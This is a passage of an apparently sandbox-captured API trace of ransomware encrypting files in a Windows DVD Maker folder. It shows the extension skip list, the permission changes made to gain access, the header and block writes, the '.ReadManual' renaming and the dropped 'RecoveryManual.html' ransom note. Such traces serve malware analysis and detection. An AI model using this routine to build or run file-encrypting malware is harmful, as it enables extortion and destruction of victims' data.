dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.243] GetLastError () returned 0x5 [0252.243] GetNamedSecurityInfoW () returned 0x0 [0252.243] SetNamedSecurityInfoW () returned 0x0 [0252.244] SetNamedSecurityInfoW () returned 0x0 [0252.244] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.244] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=9115) returned 1 [0252.244] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x239b, lpName=0x0) returned 0x1a0 [0252.245] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xce) returned 1 [0252.245] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.245] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.247] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.247] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x239b) returned 0x2f0000 [0252.247] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.247] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37291572168) returned 1 [0252.247] CloseHandle (hObject=0x1a0) returned 1 [0252.247] SetSecurityInfo () returned 0x5 [0252.247] SetSecurityInfo () returned 0x5 [0252.247] LocalFree (hMem=0x674d38) returned 0x0 [0252.247] CloseHandle (hObject=0x184) returned 1 [0252.248] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x559, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="notes-static.png", cAlternateFileName="")) returned 1 [0252.248] lstrcpyW (in: lpString1=0x6ab90e, lpString2="notes-static.png" | out: lpString1="notes-static.png") returned="notes-static.png" [0252.248] lstrcmpiW (lpString1="notes-static.png", lpString2="RecoveryManual.html") returned -1 [0252.248] StrStrIW (lpFirst="notes-static.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.248] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.248] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.248] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.248] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.248] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.248] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.248] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.248] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.248] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.248] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.248] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.248] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.248] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.248] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.248] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" [0252.248] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png.ReadManual.5A595725" [0252.248] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png.ReadManual.5A595725") returned 93 [0252.248] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37291719321) returned 1 [0252.248] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png")) returned 0x20 [0252.249] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.249] GetLastError () returned 0x5 [0252.249] GetNamedSecurityInfoW () returned 0x0 [0252.250] SetNamedSecurityInfoW () returned 0x0 [0252.250] SetNamedSecurityInfoW () returned 0x0 [0252.251] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.251] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=1369) returned 1 [0252.252] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x559, lpName=0x0) returned 0x1a0 [0252.252] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xca) returned 1 [0252.252] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.252] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.254] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.254] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x559) returned 0x2f0000 [0252.254] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.254] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37292298091) returned 1 [0252.254] CloseHandle (hObject=0x1a0) returned 1 [0252.254] SetSecurityInfo () returned 0x5 [0252.254] SetSecurityInfo () returned 0x5 [0252.254] LocalFree (hMem=0x674d38) returned 0x0 [0252.254] CloseHandle (hObject=0x184) returned 1 [0252.255] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 1 [0252.255] lstrcpyW (in: lpString1=0x6ab90e, lpString2="play-static.png" | out: lpString1="play-static.png") returned="play-static.png" [0252.255] lstrcmpiW (lpString1="play-static.png", lpString2="RecoveryManual.html") returned -1 [0252.255] StrStrIW (lpFirst="play-static.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.255] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.255] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.255] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.255] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.255] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.255] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.255] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.255] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.255] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.255] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.255] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.255] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.255] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.255] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.255] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" [0252.255] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png.ReadManual.5A595725" [0252.255] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png.ReadManual.5A595725") returned 92 [0252.255] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37292394025) returned 1 [0252.255] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png")) returned 0x20 [0252.255] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.256] GetLastError () returned 0x5 [0252.256] GetNamedSecurityInfoW () returned 0x0 [0252.256] SetNamedSecurityInfoW () returned 0x0 [0252.256] SetNamedSecurityInfoW () returned 0x0 [0252.257] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.258] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=1285) returned 1 [0252.258] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x505, lpName=0x0) returned 0x1a0 [0252.258] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc8) returned 1 [0252.258] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.258] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.262] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.262] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x505) returned 0x2f0000 [0252.262] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.262] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37293070014) returned 1 [0252.262] CloseHandle (hObject=0x1a0) returned 1 [0252.262] SetSecurityInfo () returned 0x5 [0252.262] SetSecurityInfo () returned 0x5 [0252.262] LocalFree (hMem=0x674d38) returned 0x0 [0252.262] CloseHandle (hObject=0x184) returned 1 [0252.262] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 0 [0252.262] FindClose (in: hFindFile=0x6bff40 | out: hFindFile=0x6bff40) returned 1 [0252.262] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1 [0252.262] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="BlackRectangle.bmp" | out: lpString1="BlackRectangle.bmp") returned="BlackRectangle.bmp" [0252.262] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="RecoveryManual.html") returned -1 [0252.263] StrStrIW (lpFirst="BlackRectangle.bmp", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.263] StrCmpIW (psz1="bmp", psz2="exe") returned -1 [0252.263] StrCmpIW (psz1="bmp", psz2="dll") returned -1 [0252.263] StrCmpIW (psz1="bmp", psz2="sys") returned -1 [0252.263] StrCmpIW (psz1="bmp", psz2="msi") returned -1 [0252.263] StrCmpIW (psz1="bmp", psz2="mui") returned -1 [0252.263] StrCmpIW (psz1="bmp", psz2="inf") returned -1 [0252.263] StrCmpIW (psz1="bmp", psz2="cat") returned -1 [0252.263] StrCmpIW (psz1="bmp", psz2="bat") returned 1 [0252.263] StrCmpIW (psz1="bmp", psz2="cmd") returned -1 [0252.263] StrCmpIW (psz1="bmp", psz2="ps1") returned -1 [0252.263] StrCmpIW (psz1="bmp", psz2="vbs") returned -1 [0252.263] StrCmpIW (psz1="bmp", psz2="ttf") returned -1 [0252.263] StrCmpIW (psz1="bmp", psz2="fon") returned -1 [0252.263] StrCmpIW (psz1="bmp", psz2="lnk") returned -1 [0252.263] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" [0252.263] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp.ReadManual.5A595725" [0252.263] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp.ReadManual.5A595725") returned 86 [0252.263] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37293177739) returned 1 [0252.263] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp")) returned 0x20 [0252.264] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.264] GetLastError () returned 0x5 [0252.264] GetNamedSecurityInfoW () returned 0x0 [0252.264] SetNamedSecurityInfoW () returned 0x0 [0252.265] SetNamedSecurityInfoW () returned 0x0 [0252.266] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0252.266] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4726) returned 1 [0252.266] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1276, lpName=0x0) returned 0x184 [0252.266] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbc) returned 1 [0252.267] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.267] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0252.269] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0252.269] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1276) returned 0x2f0000 [0252.269] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.269] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37293782394) returned 1 [0252.269] CloseHandle (hObject=0x184) returned 1 [0252.269] SetSecurityInfo () returned 0x5 [0252.269] SetSecurityInfo () returned 0x5 [0252.269] LocalFree (hMem=0x674d38) returned 0x0 [0252.269] CloseHandle (hObject=0x194) returned 1 [0252.269] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" [0252.269] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RecoveryManual.html" [0252.269] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0252.270] WriteFile (in: hFile=0x194, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fdf0*=0xae9, lpOverlapped=0x0) returned 1 [0252.270] CloseHandle (hObject=0x194) returned 1 [0252.271] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="circleround_glass.png", cAlternateFileName="")) returned 1 [0252.271] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="circleround_glass.png" | out: lpString1="circleround_glass.png") returned="circleround_glass.png" [0252.271] lstrcmpiW (lpString1="circleround_glass.png", lpString2="RecoveryManual.html") returned -1 [0252.271] StrStrIW (lpFirst="circleround_glass.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.271] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.271] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.271] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.271] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.271] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.271] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.271] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.271] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.271] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.271] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.271] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.271] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.271] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.271] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.271] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" [0252.271] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png.ReadManual.5A595725" [0252.271] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png.ReadManual.5A595725") returned 89 [0252.271] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37294004558) returned 1 [0252.271] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png")) returned 0x20 [0252.272] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.272] GetLastError () returned 0x5 [0252.272] GetNamedSecurityInfoW () returned 0x0 [0252.272] SetNamedSecurityInfoW () returned 0x0 [0252.272] SetNamedSecurityInfoW () returned 0x0 [0252.274] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0252.274] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=27281) returned 1 [0252.274] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6a91, lpName=0x0) returned 0x184 [0252.274] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc2) returned 1 [0252.274] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.275] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0252.276] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0252.276] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6a91) returned 0x2f0000 [0252.276] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.277] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37294543879) returned 1 [0252.277] CloseHandle (hObject=0x184) returned 1 [0252.277] SetSecurityInfo () returned 0x5 [0252.277] SetSecurityInfo () returned 0x5 [0252.277] LocalFree (hMem=0x674d38) returned 0x0 [0252.277] CloseHandle (hObject=0x194) returned 1 [0252.278] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: 